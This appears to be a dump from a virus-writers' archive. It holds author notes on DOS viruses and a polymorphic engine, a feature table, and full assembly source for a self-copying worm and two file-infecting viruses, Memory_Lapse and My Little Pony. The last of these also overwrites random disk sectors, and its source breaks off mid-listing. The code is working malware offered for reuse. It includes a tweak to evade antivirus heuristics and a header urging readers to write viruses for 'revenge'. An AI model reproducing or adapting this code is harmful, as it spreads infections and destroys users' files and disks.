This is another virus that is based on Gotcha 17. It is a resident
COM and EXE infector. It doesn't infect CO*.*. The special thing about
this virus is that it will display a picture of a large green hemp leaf
when the virus becomes resident on fridays. After showing the picture,
the virus will ask the user a few questions about what he/she thinks
about legalizing cannabis. After this, the virus will quit to DOS.
The picture in the virus is packed with DIET to keep the virus small.
A few small bugs from Gotcha 17 are fixed in this virus, but unfortunatly
this virus has a new bug which causes some infected EXE programs to crash.
Coffeeshop 1
This one is based on Gotcha 17 and Legalize. Originally it was planned
to be a final bug-free version of Gotcha, but later I put the picture
routine from Legalize in it. Although it is based on Gotcha 17, a large
part of it has changed. It infects COM or EXE files when it is executed
or opened with DOS function 6C00h. It avoids to infect several known
programs that use a self-check (like most virus scanners). It also doesn't
infect several other files, like Windows files, files with internal
overlays etc. The virus doesn't use any undocumented features of DOS
anymore. I wanted it to be as compatible as possible. The picture routine
is also improved. It activates on fridays on a pseudo-random base when the
virus becomes resident. It will then show the big green hemp leaf and
after that it will continue with the original program (unlike Legalize).
Coffeeshop 2
This virus is very similar to the previous one, but with MtE included.
It only infects EXE files. At the time this virus was made a lot of
scanners claimed that they were able to detect MtE, but none of them
could detect this virus.
Coffeeshop 3
This one too is very similar to the previous ones. Like version 2,
this one is also highly polymorphic. But instead of using MtE, I wrote
the encrytion routine myself. It infects both COM and EXE files.
Coffeeshop 4
This is a minor bugfix of version 3. This one can also activate when
the virus is already resident.
Virus_for_Windows 1.4
This is a primitive non-resident virus that only infects Windows EXE
program. As far as I know this is the first known Windows virus. It
will try to infect all Windows EXE files in its directory. This virus
has a big problem, it is not able to execute the original program.
As a solution to this the virus will disinfect itself after infecting
the other programs. So one has to execute infected programs twice to
execute the original program. This virus will only infect programs which
have a big enough data-segment.
MK Worm
This is not a real virus, but some simple kind of worm. It does not
infect programs in any way. Instead it will only copy itself to a few
other directories on the disk from which it was executed. Each variant
will have a different name and also their lenghts will be slightly
different. It can spread because many people are used to try out every
new executable file they get, and many people often use the command
'COPY *.*'.
Cruncher 1.0
This is a virus that uses data-compression. It is a resident COM
infector, based on the Coffeeshop series. It compresses the victim file
after infection. So the virus will be compressed together with the
original program. The compression algorithm is the same as that of the
program 'Diet'.
Cruncher 2.0
This version also infects EXE files.
Cruncher 2.1
This version is almost equal to version 2.0 but this one asks permission
from the user before going resident. This feature changes it from a
naughty virus into a userfriendly automatic compression utility!
TPE 1.1
This is an OBJ module that can be linked to a virus to make it
polymorphic. It can be used in a similar way as the famous MtE
module. The encryption routine of TPE is taken from Coffeeshop
version 3/4.
TPE 1.2
This is a bugfix. The previous version often produced decryption
routines that didn't work on all processor types.
TPE 1.3
This is a another bugfix. This version is made fully relocatable
within a memory segment, which is very handy for non-resident
viruses. Also another incompatibility bug is fixed.
TPE 1.4
In this version the encryption/decryption algorithms are made more
complex. The previous versions could be detected by decrypting the
encrypted code.
PlayGame
This is a semi-stealth multi-partite EXE-infector. This virus infects
the master bootsector of the harddisk when an infected program is
executed. The virus only uses stealth techniques when a known anti-virus
program is executed or at the 'DIR' command. The payload of this virus
is a little arcade game that the user can play for fun. It activates in
december after 21:00.
DOS-1
This is a simple non-resident COM infector. It uses only FCB function
calls, so it is compatible with all previous DOS versions, including
version 1.0.
Bosnia
This is a variant of Coffeeshop 3/4, but with another picture routine.
The TPE 1.4 module is linked with this virus.
PCA virus
This is a very simple overwriting virus. After infecting it shows a
picture of the mascotte of the dutch magazine "PC Active". The picture
inside the virus is compressed in a special way, to keep the virus
small.
==============================================================================
Virus Characteristics List
ANSI keyboard remap-------------------+
Polymorphic-------------------------+ |
Infects Windows EXE files---------+ | |
Infects EXE files---------------+ | | |
Infects COM files-------------+ | | | |
Memory Resident-------------+ | | | | |
Overwriting---------------+ | | | | | |
Bootsector virus--------+ | | | | | | |
| | | | | | | |
V V V V V V V V Length
---------------------------------------------------
Gotcha 1 . . R C E . . . 732
Gotcha 4 . . R C . . . . 607
Gotcha 6 . . R C E . . . 879
Gotcha 7 . . R C E . . . 881
Gotcha 9 . . R C E . . . 906
Gotcha 17 . . R C E . . . 627
46 Virus . O . C . . . . 46
Seventh Son 1 . . . C . . . . 350
Seventh Son 2 . . . C . . . . 332
Seventh Son 4 . . . C . . . . 284
Little Brother 1 . . R . E . . . 299
Little Brother 2 . . R . E . . . 307
Little Brother 3 . . R . E . . . 321
Tiny 126 . . R C . . . . 126
Tiny 124 . . R C . . . . 124
Tiny 124B . . R C E . . . 124
Tiny 122 . . R C E . . . 122
Mini 99 . . . C . . . . 99
Mini 97 . . . C . . . . 97
Mini 91 . . . C . . . . 91
Mini 117 . . . C . . . . 117
Mini 111 . . . C . . . . 111
Cannabis 1 B O R . . . . . 512
Cannabis 2 B O R . . . . . 512
Cannabis 3 B O R . . . . . 512
Pogue Mahone . . R C . . P . 3017+
Redhair ANSI bomb . . . . . . . A -
ANSI virus . O . . . . . A 881
Legalize . . R C E . . . 1781
Coffeeshop 1 . . R C E . . . 1568
Coffeeshop 2 . . R . E . P . 3792+
Coffeeshop 3 . . R C E . P . 3000+
Coffeeshop 4 . . R C E . P . 3000+
Virus_for_Windows 1.4 . . . . . W . . 854
MK Worm . . . . . . . . 715+
Cruncher 1.0 . . R C . . . . 2092-
Cruncher 2.0 . . R C E . . . 4000-
Cruncher 2.1 . . R C E . . . 4800-
TPE 1.1 . . . . . . P . 1378
TPE 1.2 . . . . . . P . 1355
TPE 1.3 . . . . . . P . 1411
TPE 1.4 . . . . . . P . 1637
PlayGame B . R . E . . . 2000
Dos-1 . . . C . . . . 184
Bosnia . . R C E . P . 3112+
PCA virus . O . C . . . . 342

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+467
View File
@@ -0,0 +1,467 @@
;**********************************************************************
;*
;* MK Worm
;*
;* Compile with MASM 4.0
;*
;**********************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg
.radix 16
org 0100
wormlen equ 8
filelen equ eind - begin
old_dir equ eind
DTA equ offset eind + 100d
;**********************************************************************
;* Main program
;**********************************************************************
begin: call rnd_init
mov bp,DTA ;change DTA
call set_DTA
mov ah,47 ;get name of current directory
cwd
mov si,offset old_dir
int 21
mov dx,offset root_dir ;goto root
call chdir
call search ;search directory's
mov dx,offset old_dir ;goto original directory
call chdir
call rnd_get ;go resident?
and al,0F
jz go_res
int 20
go_res: mov ax,351C ;go resident!
int 21
lea si,oldvec
mov [si],bx
mov [si+2],es
lea dx,routine
mov ax,251C
int 21
mov dx,offset eind
int 27
;**********************************************************************
;* search dir
;**********************************************************************
search: mov dx,offset dirname ;search *.*
mov cx,16
mov ah,4E
finddir: int 21
jc no_dir
test byte ptr [bp+15],10 ;directory?
je next_dir
cmp byte ptr [bp+1E],'.' ;is it '.' or '..' ?
je next_dir
lea dx,[bp+1E] ;goto directory
call chdir
lea bp,[bp+2C] ;change DTA
call set_DTA
call search ;searc directory (recurse!)
lea bp,[bp-2C] ;goto previous DAT
call set_DTA
mov dx,offset back_dir ;'CD ..'
call chdir
next_dir: mov ah,4F ;find next
jmp short finddir
no_dir: call rnd_get ;copy worm to this directory?
and al,3
jnz no_worm
mov dx,offset comname ;search *.com
mov ah,4E
mov cx,06
findcom: int 21
jc makeit
mov ax,word ptr [bp-1A] ;worm already there?
sub ax,filelen
cmp ax,10
jnb no_worm
mov ah,4F
jmp short findcom
makeit: call makeworm ;copy the worm!
no_worm: ret
;**********************************************************************
;* change dir
;**********************************************************************
chdir: mov ah,3Bh
int 21
ret
;**********************************************************************
;* set DTA
;**********************************************************************
set_DTA: mov dx,bp
mov ah,1A
int 21
ret
;**********************************************************************
;* create worm
;**********************************************************************
makeworm: mov ah,5A ;create unique filename
xor cx,cx
mov dx,offset filename
mov si,offset restname
mov byte ptr [si],0
int 21
xchg ax,bx
mov ah,40 ;write worm
mov cx,filelen
mov dx,0100
int 21
call rnd_get ;append a few bytes
and ax,0F
xchg ax,cx
mov dx,0100
mov ah,40
int 21
mov ah,3E ;close file
int 21
lea di,[si+13d] ;copy filename
push di
push si
movsw
movsw
movsw
movsw
mov si,offset comname+1
movsw
movsw
movsb
pop dx ;rename file to .COM
pop di
mov ah,56
int 21
ret
;**********************************************************************
;* new int 1C handler
;**********************************************************************
routine: cli ;save registers
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
push cs
push cs
pop ds
pop es
zzz3: inc byte ptr [count]
mov al,byte ptr [count]
test al,1 ;only every 2nd tick
jz nothing
cmp al,3 ;don't change direction yet
jb zzz2
call rnd_get
and al,3 ;change direction?
jnz zzz2
zzz0: call dirchange ;change direction!
mov al,byte ptr [direction]
xor al,byte ptr [old_direc]
and al,1
jz zzz0 ;90 degrees with old direction?
zzz2: call getnext ;calculate next position
call checknext ;does it hit the border?
jc zzz0
mov al,byte ptr [direction] ;save old direction
mov byte ptr [old_direc],al
call moveworm
mov ah,0F ;ask video mode
int 10
cmp al,7
jz goodmode
cmp al,4
jnb nothing
cmp al,2
jb nothing
goodmode: mov ah,3 ;read cursor position
int 10
push dx
call printworm
pop dx ;restore cursor position
mov ah,2
int 10
nothing: pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
sti
jmp cs:[oldvec] ;original vector
oldvec dd 0
;**********************************************************************
;* changes direction of worm
;**********************************************************************
dirchange: call rnd_get ;get random numbar
and al,2
mov ah,byte ptr [direction] ;change direction 90 degrees
xor ah,0FF
and ah,1
or ah,al
mov byte ptr [direction],ah
mov byte ptr [count],0
ret
;**********************************************************************
;* finds next position of the worm
;**********************************************************************
getnext: mov al,byte ptr [yval+wormlen]
mov byte ptr [yval+wormlen+1],al
mov al,byte ptr [xval+wormlen]
mov byte ptr [xval+wormlen+1],al
mov ah,byte ptr [direction]
cmp ah,3
je is_3
cmp ah,2
je is_2
cmp ah,1
je is_1
is_0: mov al,byte ptr [yval+wormlen] ;up
dec al
mov byte ptr [yval+wormlen+1],al
ret
is_1: mov al,byte ptr [xval+wormlen] ;left
dec al
dec al
mov byte ptr [xval+wormlen+1],al
ret
is_2: mov al,byte ptr [yval+wormlen] ;down
inc al
mov byte ptr [yval+wormlen+1],al
ret
is_3: mov al,byte ptr [xval+wormlen] ;right
inc al
inc al
mov byte ptr [xval+wormlen+1],al
ret
;**********************************************************************
;* checks if worm will hit borders
;**********************************************************************
checknext: mov al,byte ptr [xval+wormlen+1]
cmp al,0
jl fout
cmp al,80d
jae fout
mov al,byte ptr [yval+wormlen+1]
cmp al,0
jl fout
cmp al,25d
jae fout
clc
ret
fout: stc
ret
;**********************************************************************
;* move the worm
;**********************************************************************
moveworm: mov si,offset xval+1
lea di,[si-1]
mov cx,wormlen+1
rep movsb
mov si,offset yval+1
lea di,[si-1]
mov cx,wormlen+1
rep movsb
ret
;**********************************************************************
;* print the worm on screen
;**********************************************************************
printworm: mov si,offset xval
call move
mov al,20 ;print space on rear end
call print
mov cx,wormlen-1
lup: call move
mov al,0F ;print dots
call print
loop lup
call move
mov al,2 ;print head of worm
call print
ret
;**********************************************************************
;* move the cursor
;**********************************************************************
move: mov ah,[si+wormlen+2]
lodsb
xchg ax,dx
mov ah,02
int 10
ret
;**********************************************************************
;* print a character
;**********************************************************************
print: push cx
mov ah,09
mov bl,0C
mov cx,1
int 10
pop cx
ret
;****************************************************************************
;* random number generator
;****************************************************************************
rnd_init: push cx
call rnd_init0
and ax,000F
inc ax
xchg ax,cx
random_lup: call rnd_get
loop random_lup
pop cx
ret
rnd_init0: push dx ;initialize generator
push cx
mov ah,2C
int 21
in al,40
mov ah,al
in al,40
xor ax,cx
xor dx,ax
jmp short move_rnd
rnd_get: push dx ;calculate a random number
push cx
push bx
mov ax,0
mov dx,0
mov cx,7
rnd_lup: shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_l2
inc al
rnd_l2: loop rnd_lup
pop bx
move_rnd: mov word ptr cs:[rnd_get+4],ax
mov word ptr cs:[rnd_get+7],dx
mov al,dl
pop cx
pop dx
ret
;**********************************************************************
;* data
;**********************************************************************
db ' MK Worm / Trident '
root_dir db '\',0
back_dir db '..',0
dirname db '*.*',0
comname db '*.COM',0
filename db '.\'
restname db (26d) dup (?)
xval db 32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0
yval db (wormlen+2) dup (12d)
direction db 3
old_direc db 3
count db 0
eind:
cseg ends
end begin

+189
View File
@@ -0,0 +1,189 @@
title "Memory_Lapse.366A"
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Assembly Source Listing for Memory_Lapse.366A º
;º Copyright (c) 1993 Memory Lapse. All Rights Reserved. º
;ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
;º The Memory_Lapse.366A Virus is a non-encrypting, time/date stamp saving, º
;º original attribute retaining, disk transfr area preserving, direct action º
;º non-overwriting, appending, EXE infector. º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
.model tiny ;_ASSUME CS=DS=ES=SS
.code ;/
org 100h ;Origin @ 100h
;
start: ;Marks Start of Source
v_start: ;Marks Start of Virus
call $+003h ;Push IP onto Stack
pop bp ;Restore IP into BP
sub bp,103h ;Subtract for Delta
;
push es ;Save Segment onto Stack
pop di ;Load DI w/DS
add di,010h ;Locate Start of EXE
add di,cs:[bp+word ptr host_bytes+016h] ;Add CS to Start of EXE
;
push di cs:[bp+word ptr host_bytes+014h] ;Push CS & IP onto Stack
push es ds cs ;Push Segments to Stack
sub ax,ax ;Load Register w/Zero
push ax ax ;Push Registers to Stack
pop es ds ;Load Segments w/Zero
;
mov si,021h*004h ;DS:[SI] > INT 21 Vector
mov di,003h*004h ;ES:[DI] > INT 03 Vector
;
movsw ;DS:[SI] -> ES:[DI]
movsw ;DS:[SI] -> ES:[DI]
;
pop ds ;Restore DS (CS=DS)
;
mov ah,030h ;AH=30h / GET DOS VERS'N
int 003h ;DOS Services
;
cmp al,003h ;Is it DOS 3.0?
jb returntohost ;Jump if Below
;
mov ah,01Ah ;AH=1Ah / SET DTA
lea dx,cs:[bp+DTA] ;DX=Location of DTA
int 003h ;DOS Services
;
mov [bp+byte ptr file_count],003h ;Memory Segment = 003h
;
findfirstEXEfile: ;
mov ah,04Eh ;AH=4Eh / FINDFIRST
mov cx,1FFh ;CX=Attribute Masking
lea dx,cs:[bp+fileEXEspec] ;DX=File Search Type
;
twilightZONE: ;
int 003h ;DOS Services
;
jc doneEXEinfect ;Jump if Carry Set
;
jmp SHORT infectEXEfile ;Unconditional Jump
;
findnextEXEfile: ;
cmp [bp+byte ptr file_count],000h ;Infected 3 Files?
je doneEXEinfect ;Jump if Equal/Zero
;
mov ah,04Fh ;AH=4Fh / FINDNEXT
;
jmp SHORT twilightZONE ;Unconditional Jump
;
doneEXEinfect: ;
mov ah,01Ah ;AH=1Ah / SET DTA
mov dx,080h ;DX=080h / Start of CMD
int 003h ;DOS Services
;
returntohost: ;
pop ds es ;Restore Segments
;
retf ;Return Far
;
virus_name db 'Memory_Lapse.366A (07/01/93)',000h
db 'Copyright (c) 1993 Memory Lapse',000h
;
infectEXEfile: ;
mov ax,3D00h ;AX=3D00h / OPEN
lea dx,cs:[bp+DTA+01Eh] ;DX=ASCIIZ File Name
int 003h ;DOS Services
;
xchg bx,ax ;Exchange Register Value
;
push bx ;Save File Handle
;
mov ax,1220h ;AX=1220h /
int 2Fh ;Multiplex Interrupt
;
mov bl,es:[di] ;
;
mov ax,1215h ;AX=1215h /
inc ax ;AX=1216h /
int 2Fh ;Multiplex Interrupt
;
pop bx ;Restore File Handle
;
mov es:[di+word ptr 002h],002h ;Open for Read / Write
;
mov ah,03Fh ;AH=3Fh / READ
mov cx,018h ;CX=Number of Bytes
lea dx,ds:[bp+host_bytes] ;DX=Buffer for Data
int 003h ;DOS Services
;
cmp ds:[bp+word ptr host_bytes+000h],'ZM' ;Are We A Valid EXE?
jnz closeEXEfile ;Jump if Not Equal/Zero
;
cmp ds:[bp+word ptr host_bytes+012h],'LM' ;Are We Infected?
jz closeEXEfile ;Jump if Equal/Zero
;
mov ax,4202h ;AX=4202h / LSEEK EOF
sub cx,cx ;Load Register w/Zero
cwd ;Load Register w/Zero
int 003h ;DOS Services
;
push dx ax ;Save Registers on Stack
;
mov ah,040h ;AH=40h / WRITE
mov cx,(v_end-v_start) ;CX=Number of Bytes
lea dx,cs:[bp+v_start] ;DX=Location of Data
int 003h ;DOS Services
;
mov ax,4202h ;AX=4202h / LSEEK EOF
xor cx,cx ;Load Register w/Zero
cwd ;Load Register w/Zero
int 003h ;DOS Services
;
mov cx,200h ;CX=Number to Divide By
div cx ;Divide AX by CX
;
inc ax ;Increment AX
;
mov ds:[bp+word ptr host_bytes+004h],ax ;# of Pages in File
mov ds:[bp+word ptr host_bytes+002h],dx ;# of Bytes @ Last Page
;
pop ax dx ;Restore Registers
;
mov cx,010h ;CX=Number to Divide By
div cx ;Divide AX by CX
;
sub ax,ds:[bp+word ptr host_bytes+008h] ;Subtract Header Size
;
mov ds:[bp+word ptr host_bytes+016h],ax ;CS=Location of Virus
mov ds:[bp+word ptr host_bytes+014h],dx ;IP=Start of Virus
mov ds:[bp+word ptr host_bytes+012h],'LM' ;CRC=Infection Marker
;
mov es:[di+word ptr 015h],000h ;Move File Pointer to
mov es:[di+word ptr 017h],000h ;Start of File Using SFT
;
mov ah,040h ;AH=40h / WRITE
mov cx,018h ;CX=Number of Bytes
lea dx,ds:[bp+host_bytes] ;DX=Location of Data
int 003h ;DOS Services
;
mov ax,5701h ;AX=5701h / SET T/D
mov cx,cs:[bp+word ptr DTA+016h] ;CX=Original Time @ DTA
mov dx,cs:[bp+word ptr DTA+018h] ;DX=Original Date @ DTA
int 003h ;DOS Services
;
dec [bp+byte ptr file_count] ;Decrement Counter
;
closeEXEfile: ;
mov ah,03Eh ;AH=3Eh / CLOSE File
int 003h ;DOS Services
;
jmp findnextEXEfile ;Unconditional Jump
;
host_bytes db 016h dup (000h) ;Buffer for Starting
dw 0FFF0h ;of the EXE header.
db 002h dup (000h) ;
;
;Get Rid of ThunderByte's "Searches for COM/EXE Files" Heuristic Flag
;
fileEXEspec db '*M.EXE',000h ;ASCIIZ File Specifics
;
v_end: ;Marks End of Virus
;
file_count db 001h dup (?) ;Buffer for Counter
DTA db 02Ah dup (?) ;Buffer for DTA
;
end start ;Marks End of Source
+749
View File
@@ -0,0 +1,749 @@
.model tiny
.code
org 100h
start:
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
; A NEW ORDER OF INTELLIGENCE PRESENTS: ;
; My Little Pony 1.00 ;
; Copyright (c) 1992, 1993 by Cruel Entity / Macaroni Ted ;
; - A.N.O.I - ;
; ;
; ;
; I know that there is a much better documented source-code for this ;
; virus. And I'm also very interessted to get in touch with the guy ;
; who did that documentation. Please contact me. ;
; ;
; You may freely use this code as you want, just give me some of the ;
; credits. Please learn to create virus, so we, together can get our ;
; revenge to the soceity. Learn to feel the feeling being cruel! ;
; ;
; Of cource I can't take any responsibility for all virus-coders ;
; who use any of the routines in this virus. ;
; ;
; ;
; Greetings to; The Unforgiven for giving me AT&T's ;
; Immortal Riot's members '94 ;
; The man sitting in basement ;
; ;
; ps! Tasm /m3 and tlink /t to get this babe into executable!
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
start:
call $+3
sub_this: pop bp
mov ax,0dd22h ;are we already in memory?
int 21h
cmp ax,03d33h
jne $+7
lea dx,[bp+(cancel-sub_this)]
jmp far ptr dx
mov ax,3521h ;get int 21h vect
int 21h
mov [bp+(int_21h_off-sub_this)],bx
mov [bp+(int_21h_seg-sub_this)],es
mov ax,cs
dec ax
mov es,ax
mov ax,es:[0003h]
sub ax,[bp+(memlen-sub_this)]
mov es:[0003h],ax
mov ax,[bp+(memlen-sub_this)]
sub word ptr es:[0012h],ax
mov es,es:[0012h]
push es
lea si,[bp+(start-sub_this)]
mov di,0100h
mov cx,[bp+(filelen-sub_this)]
rep movsb
pop ds ;es => ds
mov ax,2521h ;new vector at ES:0100
lea dx,new_int_21h
int 21h
cancel:
push cs ;cs => ds => es
push cs
pop ds
pop es
lea si,[bp+(first_bytes-sub_this)]
mov cx,3
mov di,100h
rep movsb
sub di,3
jmp far ptr di
db 'Simple Simon met a pieman going to the fair said'
db ' Simple Simon to the pieman let me take your ware'
write_rnd_sector:
cmp dh,0 ;sec
jne back
cmp dl,5 ;100th
ja back
pushf ;fuck rnd sector
push bx
call get_rnd
mov cx,10 ;/ 10
xor dx,dx
div cx
mov dx,ax ;dx=ax
mov al,2h ; Drive #, start with C:
mov cx,1h ; # of sectors to overwrite
lea bx,logo ; Address to overwriting DATA
loopie:
int 26h
popf
inc al
cmp al,25
jne loopie
pop bx
popf
jmp back
db '(c)1993 Cruel Entity'
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
; New int 21h
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
new_int_21h:
pushf
cmp ax,0dd22h ;check if resident
je mem_check
cmp ah,11h ;find 1st old
je find_old
cmp ah,12h ;find 1st old
je find_old
cmp ah,4eh ;dos 2.x
je find_
cmp ah,4fh
je find_
cmp ah,3dh ;open
je open_
cmp ah,3eh ;close
je close_
cmp ah,2ch
je back2
push ax
push cx
push dx
mov ah,2ch
int 21h
cmp cl,00 ;a new hour?
je write_rnd_sector
back:
pop dx
pop cx
pop ax
back2:
cmp ah,36h
jne return_21h
push bp
lea bp,get_free_space
jmp far ptr bp
return_21h:
popf
real_int_21h: db 0eah ;jmp...
int_21h_off dw ? ;to old int 21h
int_21h_seg dw ?
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
find_:
push bp
lea bp,find_new
jmp far ptr bp
open_:
push bp
lea bp,open
jmp far ptr bp
close_:
push bp
lea bp,close_file
jmp far ptr bp
mem_check:
popf
mov ax,3d33h
iret
call_int21h:
jmp dword ptr cs:int_21h_off ;force a call to DOS
ret
find_old:
popf
pushf ;find fcb
push cs
call call_int21h
cmp al,0ffh
je no_more_files
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
mov ah,2fh ;get dta
int 21h
push es ;es:bx
pop ds ;ds:bx
mov si,bx ;ds:si
add si,16 ;ext name
lodsw
cmp ax,'OC' ;.CO
jne cancel_ff
lodsb
cmp al,'M' ;M
jne cancel_ff
ext_ok:
;ext=com
mov si,bx ;check size
add si,26h
lodsw
cmp ax,0 ;=> 0ffffh?
jne cancel_ff
mov si,bx ;check if already infected
add si,30
lodsw ;time
and al,00011111b
cmp al,00001010b
je $+7 ;already infected (sec=24)
lea dx,store_in_mem
jmp far ptr dx
mov si,bx ;alter size
add si,36
mov di,si
lodsw
sub ax,cs:filelen
jz cancel_ff
stosw
cancel_ff:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
no_more_files: retf 2 ;iret flags
db "%%% MY LITTLE PONY %%% COPYRIGHT(C) 1993 A.N.O.I. %%%"
store_in_mem: ;store filename in buffer
mov si,bx
add si,8
push cs ;cs => es
pop es
mov cx,10
lea di,file_buffer ;check pos
check_pos:
cmp byte ptr es:[di],20h
je store
add di,8
loop check_pos
jmp cancel_ff
store:
mov cx,8
rep movsb
jmp cancel_ff
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
get_free_space:
pop bp
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
push cs ;cs=> ds=> es
push cs
pop ds
pop es
lea di,file_buffer
mov cx,10
check_last:
cmp byte ptr [di],20h ;check if last
je cancel_inf
push di
push cx
mov si,di ;si=file pos
call infect
pop cx
pop di
add di,8
loop check_last
cancel_inf:
push cs
pop es
lea di,file_buffer
mov cx,80+12
mov al,20h
rep stosb
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp real_int_21h
infect:
;convert filename to asciiz
lea di,filename
mov cx,8 ;filename NOT ext
cpy_filename:
lodsb
cmp al,20h
je filename_klar
stosb
loop cpy_filename
filename_klar:
mov al,'.'
stosb
mov al,'C'
stosb
mov al,'O'
stosb
mov al,'M'
stosb
mov al,0
stosb
push cs
pop ds
mov ax,4300h ;get attrib
lea dx,filename
int 21h
jnc $+3 ;error?
ret
push cx ;save attrib
xor cx,cx
mov ax,4301h ;force all attribs
int 21h
mov ax,3d02h ;open filename
lea dx,filename
pushf
push cs
call call_int21h
mov bx,ax ;save handle
mov ax,5700h ;get time/date
int 21h
push dx ;save time/date
push cx
and cl,00011111b
cmp cl,00001010b
jne $+7 ;already infected (sec=24)
lea dx,cancel_inf2
jmp far ptr dx
mov ah,3fh ;read 3 first bytes
mov cx,3
lea dx,first_bytes
int 21h
mov ax,4202h ;goto eof
xor dx,dx
xor cx,cx
int 21h
sub ax,3 ;create a jmp
mov jmp_2,ax
mov ah,40h ;write virus
mov dx,100h
mov cx,filelen
int 21h
mov ax,4200h ;goto beg
xor dx,dx
xor cx,cx
int 21h
mov ah,40h ;write jmp
mov cx,3
lea dx,jmp_1
int 21h
cancel_inf2:
pop cx ;restore time/date
pop dx
and cl,11100000b ;secs=20
or cl,00001010b
mov ax,5701h ;set time/date
int 21h
mov ah,3eh ;close
pushf
push cs
call call_int21h
mov ax,4301h ;set attrib
lea dx,filename
pop cx ;restore attrib
int 21h
ret
find_new:
pop bp
popf
pushf ;find 4e
push cs
call call_int21h
jnc more_files
retf 2
more_files:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
mov ah,2fh ;get dta
int 21h
push es ;es:bx
pop ds ;ds:bx
mov si,bx ;ds:si
push cs ;cs => es
pop es
add si,1eh ;f name
lea di,filename
mov cx,25
get_fname:
lodsb
cmp al,0
je get_f_klar
stosb
loop get_fname
get_f_klar:
mov al,0 ;asciiz
stosb
push ds ;ds=> es
pop es
push cs ;cs=> ds
pop ds
mov si,di
sub si,4 ;'COM'
lodsw ;CO
cmp ax,'OC'
je check_m
cmp ax,'oc'
jne cancel_new
check_m:
lodsb
cmp al,'m'
je ext_is_com
cmp al,'M'
jne cancel_new
ext_is_com:
push es ;es=> ds
pop ds
mov si,bx
add si,1ch ;check size
lodsw
cmp ax,0 ;=> 0ffffh
jne cancel_new
mov si,bx
add si,16h
lodsw ;time
and al,00011111b
cmp al,00001010b
jne cancel_new ;not infected
mov si,bx
add si,1ah
mov di,si
lodsw ;alter size
sub ax,cs:filelen
jz cancel_new
stosw
cancel_new:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
no_more_files2: retf 2 ;iret flags
open:
pop bp
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov al,'.'
push ds ;ds=> es
pop es
mov di,dx ;es:di filename
mov cx,50
repnz scasb
mov si,di ;ds:si file ext.
lodsw
cmp ax,'OC'
je check_m2
cmp ax,'oc'
je $+7
lea dx,cancel_open
jmp far ptr dx
check_m2:
lodsb
cmp al,'m'
je ext_is_com2
cmp al,'M'
jne cancel_open
ext_is_com2:
mov ax,3d02h ;open file
pushf
push cs
call call_int21h
jc cancel_open
mov bx,ax
push cs
pop ds
push cs
pop es
mov ax,5700h ;get time/date
int 21h
and cl,00011111b ;already infected
cmp cl,00001010b
jne cancel_open
mov ax,4202h ;goto eof
xor dx,dx
xor cx,cx
int 21h
push ax ;save size
sub ax,3
mov dx,ax ;goto eof -3
mov ax,4200h
mov cx,0
int 21h
mov ah,3fh ;read
mov cx,3
lea dx,temp_bytes
int 21h
mov ax,4200h ;goto beg
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ;write original
mov cx,3
lea dx,temp_bytes
int 21h
pop dx
sub dx,filelen
mov ax,4200h ;goto real size
mov cx,0
int 21h
mov ah,40h
mov cx,0
int 21h
mov ah,3eh
pushf
push cs
call call_int21h
cancel_open:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
pushf ;open file...
push cs
call call_int21h
retf 2
close_file:
pop bp
